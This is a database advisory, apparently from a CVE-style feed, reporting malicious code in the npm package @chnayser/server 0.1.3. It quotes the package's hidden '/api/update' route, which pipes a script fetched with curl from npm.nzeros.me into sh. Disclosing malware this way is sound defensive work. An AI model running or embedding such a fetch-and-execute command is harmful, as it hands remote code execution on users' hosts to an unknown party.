MAL-2026-13374

    Dashboard / Malicious Package / MAL-2026-13374

    MAL-2026-13374

    Published: 5 Aug 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in @chnayser/server (npm)

    Details: Source: amazon-inspector (bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65) The package's Express server (started via the advertised startServer/createApp entry points) mounts a GET route at /api/update whose handler executes `curl https://npm.nzeros.me/chnayser | sh` via child_process.execSync (dist/routes.js line 22). The route requires no authentication and is framed as a health/update probe. Any client that can reach the bound address (default 127.0.0.1:4300, overridable via a host option) causes the server process to fetch a shell script from npm.nzeros.me — a domain unrelated to the package's declared publisher — and execute it under /bin/sh. The fetched content is mutable and controlled by whoever owns npm.nzeros.me, giving that party arbitrary remote code execution on the installer's host whenever the server is running and the endpoint is reachable.

    References: https://www.npmjs.com/package/@chnayser/server/v/0.1.3

    Affected packages

    Package

    Name: @chnayser/server

    Purl: pkg:npm/%40chnayser/server

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.1.3
    MAL-2026-13374 | CVE-DB